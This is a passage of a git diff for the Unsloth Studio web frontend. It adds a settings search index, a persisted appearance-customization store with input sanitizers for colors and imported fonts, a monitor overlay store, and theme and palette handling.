+++ b/studio/frontend/src/features/settings/settings-search.ts
@@ -0,0 +1,128 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { TranslationKey } from "@/i18n";
+import type { SettingsTab } from "./stores/settings-dialog-store";
+
+/**
+ * Searchable entries per tab: the label/title keys rendered by each tab.
+ * Tab names themselves always match, so tabs without translatable rows
+ * (profile, connections) are still reachable from search.
+ */
+export const SETTINGS_SEARCH_INDEX: Record<SettingsTab, TranslationKey[]> = {
+  general: [
+    "settings.general.account",
+    "settings.general.password",
+    "settings.general.huggingFaceToken",
+    "settings.general.gettingStarted",
+    "settings.general.startOnboarding",
+    "settings.general.storage.sectionTitle",
+    "settings.general.storage.modelsFolder",
+    "settings.appearance.language.title",
+    "settings.appearance.language.label",
+    "settings.general.notifications.sectionTitle",
+    "settings.general.notifications.showLlamaUpdates",
+    "settings.general.previewSharing.sectionTitle",
+    "settings.general.previewSharing.enableLabel",
+    "settings.general.previewSharing.revokeLabel",
+    "settings.general.rag.sectionTitle",
+    "settings.general.rag.embeddingModel",
+    "settings.general.helperLlm.sectionTitle",
+    "settings.general.helperLlm.preloadOnStartup",
+    "settings.general.uploads.sectionTitle",
+    "settings.general.uploads.maxUploadSize",
+    "settings.general.resetPreferences.sectionTitle",
+    "settings.general.resetPreferences.label",
+  ],
+  profile: [
+    "settings.profile.title",
+    "settings.profile.description",
+    "settings.profile.displayName",
+    "settings.profile.nickname",
+    "settings.profile.avatarShape",
+    "settings.profile.greetingSloth",
+  ],
+  appearance: [
+    "settings.appearance.theme.label",
+    "settings.appearance.palette.label",
+    "settings.appearance.custom.colors.accent",
+    "settings.appearance.custom.colors.background",
+    "settings.appearance.custom.colors.foreground",
+    "settings.appearance.custom.uiFont.label",
+    "settings.appearance.custom.headingFont.label",
+    "settings.appearance.custom.chatFont.label",
+    "settings.appearance.custom.codeFont.label",
+    "settings.appearance.custom.contrast.label",
+    "settings.appearance.custom.pointerCursors.label",
+    "settings.appearance.custom.reduceMotion.label",
+    "settings.appearance.custom.uiFontSize.label",
+    "settings.appearance.custom.codeFontSize.label",
+    "settings.appearance.custom.fontSmoothing.label",
+    "settings.appearance.layout.compactSidebar",
+    "settings.appearance.sidebarMenu.title",
+    "settings.appearance.sidebarMenu.darkModeToggle",
+  ],
+  resources: [
+    "settings.resources.liveMonitor.title",
+    "settings.resources.liveMonitor.cpu",
+    "settings.resources.liveMonitor.ram",
+    "settings.resources.liveMonitor.vram",
+    "settings.resources.liveMonitor.disk",
+    "settings.resources.gpu.title",
+    "settings.resources.storage.title",
+    "settings.resources.storage.modelsFolder",
+    "settings.resources.storage.systemDisk",
+    "settings.resources.environment.title",
+    "settings.resources.environment.backend",
+    "settings.resources.environment.python",
+    "settings.resources.environment.torch",
+    "settings.resources.environment.transformers",
+    "settings.resources.liveUpdates",
+  ],
+  chat: [
+    "settings.general.chatDefaults",
+    "settings.general.autoTitleNewChats",
+    "settings.chat.artifacts.title",
+    "settings.chat.artifacts.collapseHtmlBlocks",
+    "settings.chat.artifacts.allowNetworkAccess",
+    "settings.chat.data",
+    "settings.chat.exportConversations",
+    "settings.chat.importChats",
+    "settings.chat.clearAllChats",
+    "settings.chat.exportHistory",
+    "settings.chat.modelDisclaimer",
+  ],
+  "api-keys": [
+    "settings.apiKeys.title",
+    "settings.apiKeys.description",
+    "settings.apiKeys.accessTokens",
+  ],
+  connections: [],
+  voice: [
+    "settings.voice.dictation.sectionTitle",
+    "settings.voice.dictation.microphoneLabel",
+    "settings.voice.dictation.languageLabel",
+    "settings.voice.dictation.testLabel",
+    "settings.voice.dictionary.sectionTitle",
+    "settings.voice.recents.sectionTitle",
+    "settings.voice.readAloud.sectionTitle",
+    "settings.voice.readAloud.buttonLabel",
+    "settings.voice.readAloud.engineLabel",
+    "settings.voice.readAloud.voiceLabel",
+    "settings.voice.readAloud.speedLabel",
+    "settings.voice.readAloud.pitchLabel",
+    "settings.voice.readAloud.volumeLabel",
+    "settings.voice.readAloud.previewLabel",
+  ],
+  about: [
+    "settings.about.updates",
+    "settings.about.releaseNotes",
+    "settings.about.documentation",
+    "settings.about.help",
+    "settings.about.feedback",
+    "settings.about.hardware",
+    "settings.about.license.sectionTitle",
+    "settings.about.dangerZone",
+    "settings.about.shutDownStudio",
+  ],
+};
diff --git a/studio/frontend/src/features/settings/stores/appearance-custom-store.ts b/studio/frontend/src/features/settings/stores/appearance-custom-store.ts
new file mode 100644
index 0000000000..b8c8d96f5a
--- /dev/null
+++ b/studio/frontend/src/features/settings/stores/appearance-custom-store.ts
@@ -0,0 +1,562 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { createJSONStorage, persist, type StateStorage } from "zustand/middleware";
+import type { ResolvedTheme } from "./theme-store";
+
+// Best-effort persistence: localStorage can be blocked (private browsing) and
+// zustand's persist write path is unguarded, so a throw would break a store
+// action. Swallow storage errors and keep the in-memory state.
+const guardedLocalStorage: StateStorage = {
+  getItem: (name) => {
+    try {
+      return window.localStorage.getItem(name);
+    } catch {
+      return null;
+    }
+  },
+  setItem: (name, value) => {
+    try {
+      window.localStorage.setItem(name, value);
+    } catch {
+      // ignore: the customization stays in memory for this session
+    }
+  },
+  removeItem: (name) => {
+    try {
+      window.localStorage.removeItem(name);
+    } catch {
+      // ignore
+    }
+  },
+};
+
+export type ReduceMotionSetting = "system" | "on" | "off";
+
+export type CustomModeColors = {
+  accent: string | null;
+  background: string | null;
+  foreground: string | null;
+};
+
+export type ImportedFont = {
+  /** Font-family name the FontFace is registered under. */
+  name: string;
+  /** data: URL of the uploaded font file. */
+  dataUrl: string;
+};
+
+/**
+ * Optional entries of the sidebar profile menu. Settings, Help, Log out, and
+ * Shutdown are pinned and never appear here. The settings-tab shortcuts ship
+ * hidden; General and About are covered by the pinned Settings and Help.
+ */
+export const SIDEBAR_MENU_ITEM_IDS = [
+  "api",
+  "darkMode",
+  "guidedTour",
+  "profile",
+  "appearance",
+  "resources",
+  "chat",
+  "connections",
+] as const;
+
+export type SidebarMenuItemId = (typeof SIDEBAR_MENU_ITEM_IDS)[number];
+
+export type SidebarMenuItemPref = {
+  id: SidebarMenuItemId;
+  visible: boolean;
+};
+
+export const SIDEBAR_MENU_DEFAULT_VISIBLE: Record<SidebarMenuItemId, boolean> =
+  {
+    api: true,
+    darkMode: true,
+    guidedTour: true,
+    profile: false,
+    appearance: false,
+    resources: false,
+    chat: false,
+    connections: false,
+  };
+
+export const MAX_IMPORTED_FONTS = 3;
+/** Imported-font family name cap; must match the backend name max_length (100). */
+export const MAX_IMPORTED_FONT_NAME_LENGTH = 100;
+/** ~1.5 MB file → ~2 MB base64; must stay in sync with the backend cap. */
+export const MAX_IMPORTED_FONT_DATA_URL_LENGTH = 2_200_000;
+/**
+ * Aggregate cap across all imported fonts. localStorage quotas are commonly
+ * ~5M UTF-16 units per origin; staying under that keeps the persisted store
+ * writable even with other keys present.
+ */
+export const MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH = 4_400_000;
+
+export type AppearanceCustomization = {
+  colors: { light: CustomModeColors; dark: CustomModeColors };
+  uiFont: string | null;
+  headingFont: string | null;
+  chatFont: string | null;
+  codeFont: string | null;
+  importedFonts: ImportedFont[];
+  /** Root font size in px (rem base). null = browser default (16). */
+  uiFontSize: number | null;
+  /** Code/pre font size in px. null = inherit each element's own size. */
+  codeFontSize: number | null;
+  /** 0–100; 50 is neutral (no adjustment). */
+  contrast: number;
+  pointerCursors: boolean;
+  reduceMotion: ReduceMotionSetting;
+  /** true = the app default (antialiased). */
+  fontSmoothing: boolean;
+  /** Order and visibility of the optional sidebar profile menu items. */
+  sidebarMenu: SidebarMenuItemPref[];
+};
+
+const EMPTY_MODE_COLORS: CustomModeColors = {
+  accent: null,
+  background: null,
+  foreground: null,
+};
+
+export const DEFAULT_CUSTOMIZATION: AppearanceCustomization = {
+  colors: { light: { ...EMPTY_MODE_COLORS }, dark: { ...EMPTY_MODE_COLORS } },
+  uiFont: null,
+  headingFont: null,
+  chatFont: null,
+  codeFont: null,
+  importedFonts: [],
+  uiFontSize: null,
+  codeFontSize: null,
+  contrast: 50,
+  pointerCursors: false,
+  reduceMotion: "system",
+  fontSmoothing: true,
+  sidebarMenu: SIDEBAR_MENU_ITEM_IDS.map((id) => ({
+    id,
+    visible: SIDEBAR_MENU_DEFAULT_VISIBLE[id],
+  })),
+};
+
+export const UI_FONT_SIZE_RANGE = { min: 12, max: 20, default: 16 } as const;
+export const CODE_FONT_SIZE_RANGE = { min: 10, max: 20, default: 13 } as const;
+
+const HEX_COLOR_PATTERN = /^#[0-9a-fA-F]{6}$/;
+
+export function isHexColor(value: unknown): value is string {
+  return typeof value === "string" && HEX_COLOR_PATTERN.test(value);
+}
+
+function sanitizeColor(value: unknown): string | null {
+  return isHexColor(value) ? value.toLowerCase() : null;
+}
+
+function sanitizeFont(value: unknown): string | null {
+  if (typeof value !== "string") return null;
+  // Strip the same characters the backend rejects (_FONT_NAME_FORBIDDEN plus
+  // control chars) so a locally chosen name never fails the personalization PUT
+  // and stalls sync; also stops smuggling CSS through the inline setProperty.
+  const cleaned = value
+    .replace(/[;{}()<>"'\\/,`]/g, "")
+    .replace(/\p{Cc}/gu, "")
+    .trim()
+    .slice(0, 200);
+  return cleaned.length > 0 ? cleaned : null;
+}
+
+function sanitizeSize(
+  value: unknown,
+  range: { min: number; max: number },
+): number | null {
+  if (typeof value !== "number" || !Number.isFinite(value)) return null;
+  const rounded = Math.round(value);
+  if (rounded < range.min || rounded > range.max) {
+    return Math.min(range.max, Math.max(range.min, rounded));
+  }
+  return rounded;
+}
+
+function sanitizeModeColors(value: unknown): CustomModeColors {
+  const source = (value ?? {}) as Partial<CustomModeColors>;
+  return {
+    accent: sanitizeColor(source.accent),
+    background: sanitizeColor(source.background),
+    foreground: sanitizeColor(source.foreground),
+  };
+}
+
+const FONT_DATA_URL_PATTERN =
+  /^data:(?:font\/(?:woff2?|ttf|otf|sfnt)|application\/(?:octet-stream|x-font-\w+|font-\w+));base64,[A-Za-z0-9+/=]+$/;
+
+function sanitizeImportedFonts(value: unknown): ImportedFont[] {
+  if (!Array.isArray(value)) return [];
+  const fonts: ImportedFont[] = [];
+  const seen = new Set<string>();
+  let total = 0;
+  for (const entry of value) {
+    if (fonts.length >= MAX_IMPORTED_FONTS) break;
+    const source = (entry ?? {}) as Partial<ImportedFont>;
+    // Cap to the backend name length so an over-long name can't fail the PUT.
+    const rawName = sanitizeFont(source.name);
+    const name = rawName ? rawName.slice(0, MAX_IMPORTED_FONT_NAME_LENGTH) : null;
+    if (!name || seen.has(name)) continue;
+    const dataUrl = source.dataUrl;
+    if (
+      typeof dataUrl !== "string" ||
+      dataUrl.length > MAX_IMPORTED_FONT_DATA_URL_LENGTH ||
+      total + dataUrl.length > MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH ||
+      !FONT_DATA_URL_PATTERN.test(dataUrl)
+    ) {
+      continue;
+    }
+    seen.add(name);
+    total += dataUrl.length;
+    fonts.push({ name, dataUrl });
+  }
+  return fonts;
+}
+
+function isSidebarMenuItemId(value: unknown): value is SidebarMenuItemId {
+  return SIDEBAR_MENU_ITEM_IDS.includes(value as SidebarMenuItemId);
+}
+
+function sanitizeSidebarMenu(value: unknown): SidebarMenuItemPref[] {
+  const items: SidebarMenuItemPref[] = [];
+  const seen = new Set<SidebarMenuItemId>();
+  for (const entry of Array.isArray(value) ? value : []) {
+    const source = (entry ?? {}) as Partial<SidebarMenuItemPref>;
+    if (!isSidebarMenuItemId(source.id) || seen.has(source.id)) continue;
+    seen.add(source.id);
+    items.push({ id: source.id, visible: source.visible !== false });
+  }
+  // Ids added after the payload was written land at the end with their
+  // default visibility.
+  for (const id of SIDEBAR_MENU_ITEM_IDS) {
+    if (!seen.has(id))
+      items.push({ id, visible: SIDEBAR_MENU_DEFAULT_VISIBLE[id] });
+  }
+  return items;
+}
+
+/**
+ * Coerce arbitrary (persisted/remote) data into a valid customization object.
+ * Anything malformed falls back to the default for that field, so a bad
+ * payload can never wedge the UI.
+ */
+export function sanitizeCustomization(value: unknown): AppearanceCustomization {
+  const source = (value ?? {}) as Partial<AppearanceCustomization> & {
+    colors?: { light?: unknown; dark?: unknown };
+  };
+  const contrast =
+    typeof source.contrast === "number" && Number.isFinite(source.contrast)
+      ? Math.min(100, Math.max(0, Math.round(source.contrast)))
+      : DEFAULT_CUSTOMIZATION.contrast;
+  return {
+    colors: {
+      light: sanitizeModeColors(source.colors?.light),
+      dark: sanitizeModeColors(source.colors?.dark),
+    },
+    uiFont: sanitizeFont(source.uiFont),
+    headingFont: sanitizeFont(source.headingFont),
+    chatFont: sanitizeFont(source.chatFont),
+    codeFont: sanitizeFont(source.codeFont),
+    importedFonts: sanitizeImportedFonts(source.importedFonts),
+    uiFontSize: sanitizeSize(source.uiFontSize, UI_FONT_SIZE_RANGE),
+    codeFontSize: sanitizeSize(source.codeFontSize, CODE_FONT_SIZE_RANGE),
+    contrast,
+    pointerCursors: source.pointerCursors === true,
+    reduceMotion:
+      source.reduceMotion === "on" || source.reduceMotion === "off"
+        ? source.reduceMotion
+        : "system",
+    fontSmoothing: source.fontSmoothing !== false,
+    sidebarMenu: sanitizeSidebarMenu(source.sidebarMenu),
+  };
+}
+
+export function isDefaultCustomization(c: AppearanceCustomization): boolean {
+  return JSON.stringify(c) === JSON.stringify(DEFAULT_CUSTOMIZATION);
+}
+
+interface AppearanceCustomState {
+  customization: AppearanceCustomization;
+  setColor: (
+    mode: ResolvedTheme,
+    key: keyof CustomModeColors,
+    value: string | null,
+  ) => void;
+  patch: (partial: Partial<AppearanceCustomization>) => void;
+  addImportedFont: (font: ImportedFont) => void;
+  removeImportedFont: (name: string) => void;
+  replaceAll: (next: AppearanceCustomization) => void;
+  resetAll: () => void;
+}
+
+export const useAppearanceCustomStore = create<AppearanceCustomState>()(
+  persist(
+    (set) => ({
+      customization: DEFAULT_CUSTOMIZATION,
+      setColor: (mode, key, value) =>
+        set((state) => ({
+          customization: {
+            ...state.customization,
+            colors: {
+              ...state.customization.colors,
+              [mode]: {
+                ...state.customization.colors[mode],
+                [key]: sanitizeColor(value),
+              },
+            },
+          },
+        })),
+      patch: (partial) =>
+        set((state) => ({
+          customization: sanitizeCustomization({
+            ...state.customization,
+            ...partial,
+          }),
+        })),
+      addImportedFont: (font) =>
+        set((state) => ({
+          customization: sanitizeCustomization({
+            ...state.customization,
+            importedFonts: [
+              ...state.customization.importedFonts.filter(
+                (f) => f.name !== font.name,
+              ),
+              font,
+            ],
+          }),
+        })),
+      removeImportedFont: (name) =>
+        set((state) => {
+          const c = state.customization;
+          return {
+            customization: sanitizeCustomization({
+              ...c,
+              importedFonts: c.importedFonts.filter((f) => f.name !== name),
+              // Fall back to the default font wherever the removed one was in use.
+              uiFont: c.uiFont === name ? null : c.uiFont,
+              headingFont: c.headingFont === name ? null : c.headingFont,
+              chatFont: c.chatFont === name ? null : c.chatFont,
+              codeFont: c.codeFont === name ? null : c.codeFont,
+            }),
+          };
+        }),
+      replaceAll: (next) => set({ customization: sanitizeCustomization(next) }),
+      resetAll: () => set({ customization: DEFAULT_CUSTOMIZATION }),
+    }),
+    {
+      name: "unsloth_appearance_customization",
+      version: 2,
+      storage: createJSONStorage(() => guardedLocalStorage),
+      migrate: (persisted) => {
+        const state = (persisted ?? {}) as Partial<AppearanceCustomState>;
+        return {
+          customization: sanitizeCustomization(state.customization),
+        } as AppearanceCustomState;
+      },
+      // Sanitize on EVERY rehydrate, not just version bumps: a same-version
+      // payload written by an older bundle (e.g. before importedFonts existed)
+      // would otherwise reach the app with missing fields and crash .map calls.
+      merge: (persisted, current) => ({
+        ...current,
+        customization: sanitizeCustomization(
+          (persisted as Partial<AppearanceCustomState> | undefined)
+            ?.customization,
+        ),
+      }),
+    },
+  ),
+);
+
+/* ------------------------------ DOM applier ------------------------------ */
+
+const DEFAULT_SANS_STACK =
+  '"Inter Variable", ui-sans-serif, sans-serif, system-ui';
+const DEFAULT_HEADING_STACK =
+  '"Hellix", "Space Grotesk Variable", var(--font-sans)';
+const DEFAULT_MONO_STACK = "JetBrains Mono, monospace";
+
+/** WCAG-ish relative luminance from a #rrggbb hex. */
+function hexLuminance(hex: string): number {
+  const channel = (i: number) => {
+    const c = Number.parseInt(hex.slice(i, i + 2), 16) / 255;
+    return c <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;
+  };
+  return 0.2126 * channel(1) + 0.7152 * channel(3) + 0.0722 * channel(5);
+}
+
+function readableForeground(hex: string): string {
+  return hexLuminance(hex) > 0.45 ? "#111417" : "#ffffff";
+}
+
+/**
+ * FontFaces registered for imported fonts, keyed by family name. The dataUrl is
+ * tracked too so a re-import under the same name (new bytes) replaces the face.
+ */
+const registeredFontFaces = new Map<string, { face: FontFace; dataUrl: string }>();
+
+function syncImportedFonts(fonts: ImportedFont[]): void {
+  if (typeof document === "undefined" || !("fonts" in document)) return;
+  // Never trust the shape at this boundary: a stale
+  // persisted payload without importedFonts must not crash the applier.
+  const wanted = new Map(
+    (Array.isArray(fonts) ? fonts : []).map((f) => [f.name, f.dataUrl]),
+  );
+  // Drop faces whose name is gone OR whose bytes changed: document.fonts is a
+  // set of FontFace objects, not keyed by family, so a stale face must be
+  // deleted before the new bytes are added.
+  for (const [name, entry] of registeredFontFaces) {
+    if (wanted.get(name) !== entry.dataUrl) {
+      document.fonts.delete(entry.face);
+      registeredFontFaces.delete(name);
+    }
+  }
+  for (const [name, dataUrl] of wanted) {
+    if (registeredFontFaces.has(name)) continue;
+    try {
+      const face = new FontFace(name, `url(${dataUrl})`);
+      registeredFontFaces.set(name, { face, dataUrl });
+      document.fonts.add(face);
+      face.load().catch(() => {
+        document.fonts.delete(face);
+        // Only drop the entry if it still points at THIS face; a same-name
+        // re-import may have replaced it while this load was pending.
+        if (registeredFontFaces.get(name)?.face === face) {
+          registeredFontFaces.delete(name);
+        }
+      });
+    } catch {
+      registeredFontFaces.delete(name);
+    }
+  }
+}
+
+/**
+ * The custom "Accent" recolors the accent family (toggles, badges, chart-1).
+ * Focus/selection rings and button colors (--primary) are deliberately left
+ * alone: highlight borders stay neutral and Classic's buttons stay neutral.
+ */
+const ACCENT_VARS = ["--control-accent", "--chart-1"] as const;
+const ACCENT_FG_VARS = ["--control-accent-foreground"] as const;
+
+/**
+ * Push the customization onto <html> as inline CSS variables, attributes, and
+ * classes. Everything is keyed off explicit hooks (inline vars beat every
+ * palette block; the classes/attributes gate rules in index.css), so the
+ * default customization leaves the document byte-identical to stock.
+ */
+export function applyCustomizationToDocument(
+  c: AppearanceCustomization,
+  resolved: ResolvedTheme,
+): void {
+  if (typeof document === "undefined") return;
+  const el = document.documentElement;
+  const style = el.style;
+
+  const setVar = (name: string, value: string | null) => {
+    if (value === null) style.removeProperty(name);
+    else style.setProperty(name, value);
+  };
+
+  const colors = c.colors[resolved];
+
+  for (const name of ACCENT_VARS) setVar(name, colors.accent);
+  for (const name of ACCENT_FG_VARS) {
+    setVar(name, colors.accent ? readableForeground(colors.accent) : null);
+  }
+  setVar("--background", colors.background);
+  setVar("--foreground", colors.foreground);
+
+  syncImportedFonts(c.importedFonts);
+
+  // Family names are single identifiers picked from the dropdown (sanitizeFont
+  // strips quote characters), so quoting here is always safe.
+  setVar(
+    "--font-sans",
+    c.uiFont ? `"${c.uiFont}", ${DEFAULT_SANS_STACK}` : null,
+  );
+  setVar(
+    "--font-heading",
+    c.headingFont ? `"${c.headingFont}", ${DEFAULT_HEADING_STACK}` : null,
+  );
+  // Only set while a heading font is chosen, so elements pinned to their
+  // own default (the chat greeting) can still follow the user's pick.
+  setVar(
+    "--custom-heading-font",
+    c.headingFont ? `"${c.headingFont}", ${DEFAULT_HEADING_STACK}` : null,
+  );
+  setVar(
+    "--font-mono",
+    c.codeFont ? `"${c.codeFont}", ${DEFAULT_MONO_STACK}` : null,
+  );
+  // Chat code fences/inline code default to Fira Code (index.css), not
+  // --font-mono; route a dedicated token so the Code font reaches them too.
+  setVar(
+    "--custom-code-font",
+    c.codeFont ? `"${c.codeFont}", "Fira Code", ui-monospace, monospace` : null,
+  );
+
+  if (c.chatFont) {
+    el.setAttribute("data-chat-font", "");
+    setVar("--custom-chat-font", `"${c.chatFont}", ${DEFAULT_SANS_STACK}`);
+  } else {
+    el.removeAttribute("data-chat-font");
+    setVar("--custom-chat-font", null);
+  }
+
+  if (c.uiFontSize !== null && c.uiFontSize !== UI_FONT_SIZE_RANGE.default) {
+    style.fontSize = `${c.uiFontSize}px`;
+  } else {
+    style.removeProperty("font-size");
+  }
+
+  if (c.codeFontSize !== null) {
+    el.setAttribute("data-code-font-size", "");
+    setVar("--custom-code-font-size", `${c.codeFontSize}px`);
+  } else {
+    el.removeAttribute("data-code-font-size");
+    setVar("--custom-code-font-size", null);
+  }
+
+  if (c.contrast !== 50) {
+    // Map |contrast - 50| ∈ (0, 50] onto a 0–40% color-mix toward the
+    // foreground (higher contrast) or background (lower contrast).
+    const mix = Math.round(Math.abs(c.contrast - 50) * 0.8);
+    el.setAttribute("data-contrast-adjust", "");
+    setVar("--contrast-mix", `${mix}%`);
+    setVar(
+      "--contrast-target",
+      c.contrast > 50 ? "var(--foreground)" : "var(--background)",
+    );
+  } else {
+    el.removeAttribute("data-contrast-adjust");
+    setVar("--contrast-mix", null);
+    setVar("--contrast-target", null);
+  }
+
+  el.classList.toggle("pointer-cursors", c.pointerCursors);
+  el.classList.toggle("force-reduced-motion", c.reduceMotion === "on");
+  // "off" opts out of the OS reduced-motion preference for CSS animations;
+  // the media rules in index.css skip html.force-motion.
+  el.classList.toggle("force-motion", c.reduceMotion === "off");
+  el.classList.toggle("no-font-smoothing", !c.fontSmoothing);
+}
+
+/**
+ * Resolved reduce-motion decision: the in-app setting wins ("on"/"off"),
+ * otherwise fall back to the OS preference. For imperative motion
+ * (canvas-confetti, view transitions) that CSS/MotionConfig cannot reach.
+ */
+export function prefersReducedMotion(): boolean {
+  const setting = useAppearanceCustomStore.getState().customization.reduceMotion;
+  if (setting === "on") return true;
+  if (setting === "off") return false;
+  return (
+    typeof window !== "undefined" &&
+    window.matchMedia?.("(prefers-reduced-motion: reduce)").matches === true
+  );
+}
diff --git a/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts
new file mode 100644
index 0000000000..1af804a19e
--- /dev/null
+++ b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { persist } from "zustand/middleware";
+
+interface MonitorOverlayState {
+  isOpen: boolean;
+  isMinimized: boolean;
+  setIsOpen: (open: boolean) => void;
+  toggleMinimized: () => void;
+}
+
+export const useMonitorOverlayStore = create<MonitorOverlayState>()(
+  persist(
+    (set) => ({
+      isOpen: false,
+      isMinimized: false,
+      setIsOpen: (isOpen) => set({ isOpen }),
+      toggleMinimized: () => set((state) => ({ isMinimized: !state.isMinimized })),
+    }),
+    { name: "unsloth_monitor_overlay" }
+  )
+);
\ No newline at end of file
diff --git a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
index 7fab580f3c..b9e9c75b14 100644
--- a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
+++ b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
@@ -7,7 +7,9 @@ export type SettingsTab =
   | "general"
   | "profile"
   | "appearance"
+  | "resources"
   | "chat"
+  | "voice"
   | "connections"
   | "api-keys"
   | "about";
@@ -60,7 +62,9 @@ function loadInitialTab(): SettingsTab {
     "general",
     "profile",
     "appearance",
+    "resources",
     "chat",
+    "voice",
     "connections",
     "api-keys",
     "about",
diff --git a/studio/frontend/src/features/settings/stores/theme-store.ts b/studio/frontend/src/features/settings/stores/theme-store.ts
index 6a1275fb6f..603467969f 100644
--- a/studio/frontend/src/features/settings/stores/theme-store.ts
+++ b/studio/frontend/src/features/settings/stores/theme-store.ts
@@ -5,8 +5,30 @@ import { useSyncExternalStore } from "react";
 
 export type Theme = "light" | "dark" | "system";
 export type ResolvedTheme = "light" | "dark";
+export type Palette = "standard" | "classic" | "minimal";
 
 const STORAGE_KEY = "theme";
+const PALETTE_STORAGE_KEY = "palette";
+
+export const PALETTES: readonly Palette[] = ["standard", "classic", "minimal"];
+
+export function isPalette(value: unknown): value is Palette {
+  return value === "standard" || value === "classic" || value === "minimal";
+}
+
+// Persist a re-derived literal from a fixed allow-list rather than the argument,
+// so a value arriving via the authenticated personalization sync is not tracked
+// as sensitive data flowing into storage (these are plain UI preferences).
+const STORED_THEME: Record<Theme, Theme> = {
+  light: "light",
+  dark: "dark",
+  system: "system",
+};
+const STORED_PALETTE: Record<Palette, Palette> = {
+  standard: "standard",
+  classic: "classic",
+  minimal: "minimal",
+};
 
 function readStoredTheme(): Theme {
   if (typeof window === "undefined") return "system";
@@ -16,10 +38,29 @@ function readStoredTheme(): Theme {
   } catch {
     return "system";
   }
-  if (stored === "light" || stored === "dark" || stored === "system") return stored;
+  if (stored === "light" || stored === "dark" || stored === "system")
+    return stored;
   return "system";
 }
 
+function readStoredPalette(): Palette {
+  if (typeof window === "undefined") return "standard";
+  let stored: string | null = null;
+  try {
+    stored = window.localStorage.getItem(PALETTE_STORAGE_KEY);
+  } catch {
+    return "standard";
+  }
+  return isPalette(stored) ? stored : "standard";
+}
+
+// In-memory source of truth so a selected value survives even when
+// localStorage is blocked (private browsing). Without it the snapshots would
+// re-read empty storage and revert React state to the default while the DOM
+// already changed.
+let currentTheme: Theme = readStoredTheme();
+let currentPalette: Palette = readStoredPalette();
+
 function systemPrefersDark(): boolean {
   if (typeof window === "undefined") return false;
   return window.matchMedia("(prefers-color-scheme: dark)").matches;
@@ -32,11 +73,23 @@ function resolveTheme(theme: Theme): ResolvedTheme {
 
 function applyToDocument(resolved: ResolvedTheme) {
   if (typeof document === "undefined") return;
-  // Keep "dark"/"light" mutually exclusive: next-themes (via Sonner) adds
-  // "light" on first mount, so without this toggle we'd get "light dark".
-  const cl = document.documentElement.classList;
-  cl.toggle("dark", resolved === "dark");
-  cl.toggle("light", resolved === "light");
+  const el = document.documentElement;
+  el.classList.toggle("dark", resolved === "dark");
+  el.classList.toggle("light", resolved === "light");
+  // Native controls (scrollbars, spinners, pickers) follow the app mode.
+  el.style.colorScheme = resolved;
+}
+
+function applyPaletteToDocument(palette: Palette) {
+  if (typeof document === "undefined") return;
+  const el = document.documentElement;
+  // Standard is the base :root/.dark palette; no attribute keeps the DOM
+  // (and CSS selectors) simple for the default look.
+  if (palette === "standard") {
+    el.removeAttribute("data-palette");
+  } else {
+    el.setAttribute("data-palette", palette);
+  }
 }
 
 const listeners = new Set<() => void>();
@@ -46,36 +99,58 @@ function subscribe(cb: () => void) {
     return () => listeners.delete(cb);
   }
   const mq = window.matchMedia("(prefers-color-scheme: dark)");
-  const syncTheme = () => {
-    applyToDocument(resolveTheme(readStoredTheme()));
+  // OS scheme flip: only the resolved value changes; keep the in-memory choice
+  // (re-reading storage here would clobber it when storage is blocked).
+  const onSchemeChange = () => {
+    applyToDocument(resolveTheme(currentTheme));
     cb();
   };
-  // Apply on mount so this store is the single source of truth for the DOM
-  // class. Without this, initial paint depends solely on next-themes, which on
-  // a fresh origin (e.g. a new Cloudflare --secure link with empty
-  // localStorage) falls back to its own default and shows light while the
-  // control still reads "system".
-  applyToDocument(resolveTheme(readStoredTheme()));
+  // Another tab wrote storage (only fires when storage is available): adopt it.
   const onStorage = (e: StorageEvent) => {
-    if (e.key === STORAGE_KEY || e.key === null) syncTheme();
+    if (
+      e.key === STORAGE_KEY ||
+      e.key === PALETTE_STORAGE_KEY ||
+      e.key === null
+    ) {
+      currentTheme = readStoredTheme();
+      currentPalette = readStoredPalette();
+      applyToDocument(resolveTheme(currentTheme));
+      applyPaletteToDocument(currentPalette);
+      cb();
+    }
   };
-  mq.addEventListener("change", syncTheme);
+  // Apply on mount so this store is the single source of truth for the DOM
+  // class after the index.html bootstrap script painted the first frame.
+  applyToDocument(resolveTheme(currentTheme));
+  applyPaletteToDocument(currentPalette);
+  mq.addEventListener("change", onSchemeChange);
   window.addEventListener("storage", onStorage);
   return () => {
     listeners.delete(cb);
-    mq.removeEventListener("change", syncTheme);
+    mq.removeEventListener("change", onSchemeChange);
     window.removeEventListener("storage", onStorage);
   };
 }
 
 function getSnapshot(): Theme {
-  return readStoredTheme();
+  return currentTheme;
 }
 
 function getServerSnapshot(): Theme {
   return "system";
 }
 
+// Snapshot the RESOLVED mode too: under "system" the theme string never
+// changes when the OS scheme flips, so consumers keyed on `resolved`
+// (customization applier, mode-scoped settings) would not re-render.
+function getResolvedSnapshot(): ResolvedTheme {
+  return resolveTheme(currentTheme);
+}
+
+function getResolvedServerSnapshot(): ResolvedTheme {
+  return "light";
+}
+
 /**
  * Single source of truth for setting the theme. All writers (Settings dialog
  * control, sidebar dropdown toggler) route through this so the DOM class,
@@ -83,10 +158,10 @@ function getServerSnapshot(): Theme {
  */
 export function setTheme(next: Theme): void {
   if (typeof window === "undefined") return;
-  // Persist "system" explicitly so next-themes doesn't clobber the choice on
-  // reload.
+  currentTheme = next;
+  // Persist "system" explicitly so a reload keeps following the OS.
   try {
-    window.localStorage.setItem(STORAGE_KEY, next);
